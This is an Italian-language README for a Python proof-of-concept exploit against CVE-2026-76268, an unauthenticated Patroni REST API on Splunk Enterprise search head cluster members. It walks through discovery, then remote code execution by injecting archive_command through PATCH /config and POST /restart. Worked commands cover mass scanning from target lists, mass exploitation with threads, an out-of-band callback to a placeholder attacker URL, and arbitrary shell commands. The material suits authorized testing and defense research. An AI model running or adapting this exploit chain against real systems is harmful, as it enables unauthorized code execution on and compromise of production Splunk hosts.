
PoC in Python per CVE-2026-76268: rileva l'API REST Patroni non autenticata sui membri Splunk SHC e la sfrutta tramite l'iniezione di archive_command per ottenere l'esecuzione di codice remoto (RCE).
PoC in Python 3 per CVE-2026-76268 — Splunk Enterprise sui membri del search head cluster (SHC). Advisory SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Advisory | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Componente | sidecar PostgreSQL (Storage) → API REST di Patroni |
| Affette | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Correzione | 10.2.7, 10.4.3 (e successive) |
| Non affette (questa CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — autenticazione mancante per funzione critica |
| CVSS 3.1 | 9.8 Critico |
| Marker di verifica | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
Sui membri SHC vulnerabili di Splunk Enterprise, l'API REST di Patroni (parte del sidecar PostgreSQL introdotto in Splunk 10.x) accetta richieste che modificano lo stato senza autenticazione. Un attaccante con accesso di rete al listener di Patroni può modificare la configurazione dinamica del cluster e attivare l'esecuzione di comandi a livello di sistema operativo tramite parametri PostgreSQL come archive_command (catena Patroni PATCH /config + POST /restart).
Questa PoC comunica direttamente con Patroni (tipicamente TCP 8008, o una porta assegnata dall'IPC Broker di Splunk). Non utilizza Splunk Web (8000) né la porta di gestione di Splunk (8089). Si tratta di una superficie diversa (ad es. problemi storici del sidecar tramite il proxy di splunkd).
Prerequisiti per un impatto reale:
[postgres] è abilitato (disabled = true rimuove Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Modalità | Scopo |
|---|---|
check (predefinita) | Individua Patroni sulle porte comuni; verifica PATCH /config non autenticato |
exploit | Esegue la catena RCE di Patroni (archive_command + riavvio) |
| Mass | --list FILE con thread -j; scrive JSONL + liste opzionali di hit/exploit |
È necessario passare o -t TARGET oppure --list FILE.
-t / righe in --list)| Formato | Esempio |
|---|---|
| Solo host (scansione porte predefinita) | 192.168.1.50 |
| Host + porta | 192.168.1.50:8008 |
| URL completo | http://10.0.0.5:8008 |
Commenti nei file di lista: le righe che iniziano con # vengono ignorate.
Individua Patroni e valuta se le modifiche di configurazione non autenticate risultano consentite.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
Cosa fa il PoC:
GET /patroni (o /) su ogni porta in --ports (predefinite 8008,8009,8010,18008).PATCH /config con un corpo JSON vuoto e senza credenziali.exploitable_candidate: true quando Patroni risponde e la PATCH non viene rifiutata con 401/403.Flag utili:
| Flag | Significato |
|---|---|
--ports | Porte Patroni da scansionare, separate da virgola |
--port | Salta la scansione; usa una sola porta |
--timeout | Timeout HTTP (secondi, predefinito 20) |
--proxy | Proxy HTTP(S) per le richieste |
--output | Log JSONL (predefinito cve_2026_76268_results.jsonl) |
--vuln-list | Candidati separati da tabulazione (predefinito hits.txt) |
--quiet | Meno output su console |
--no-color | Terminale semplice |
Codice di uscita: 0 se exploitable_candidate è true; altrimenti 1.
Flusso di lavoro consigliato: check massivo → revisione di hits.txt → exploit massivo solo su host autorizzati.
--mode exploit)Esegue la catena di iniezione della configurazione di Patroni. Questo modifica la configurazione dinamica live di sidecar/PostgreSQL sul target.
--port non sia impostato).PATCH /config restituisce 401/403.PATCH /config — imposta wal_level=replica, archive_mode=always, archive_timeout=1 e il tuo archive_command.POST /restart — applica la configurazione PostgreSQL in sospeso.--wait-archive secondi (predefinito 3); archive_command viene eseguito sul ciclo di archiviazione WAL (non istantaneamente).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
--output — JSONL completo (l'exploit di massa usa per impostazione predefinita cve_2026_76268_exploit.jsonl se hai mantenuto il nome predefinito).--exploited-list — righe in cui exploited: true (predefinito exploited.txt).| Flag | Significato |
|---|---|
--oob URL | URL di base; il comando esegue curl/wget verso URL/POCBIT-76268-OK |
--command | Stringa completa archive_command di PostgreSQL (sostituisce il valore predefinito OOB) |
--wait-archive | Secondi di attesa dopo il riavvio prima che il PoC termini |
--ports / --port | Scoperta delle porte o porta Patroni fissa |
--tls | Usa https:// per Patroni (poco comune nella documentazione predefinita del sidecar Splunk) |
Comando predefinito quando né --oob né --command sono impostati:
touch /tmp/POCBIT-76268-OK
Codice di uscita: 0 quando PATCH e riavvio vengono accettati (exploited: true). Ciò significa che la catena è stata consegnata, non che il tuo callback o la prova su file sia già scattata. Conferma con verifiche OOB o sul filesystem dell'host.
Importante: Patroni potrebbe ignorare le modifiche dinamiche se gli stessi parametri sono bloccati nella configurazione locale (hardening del fornitore). In tal caso l'exploit potrebbe fallire anche su build Splunk datate.
-t)Stampato su stdout (JSON formattato). La modalità di massa scrive un oggetto JSON per riga.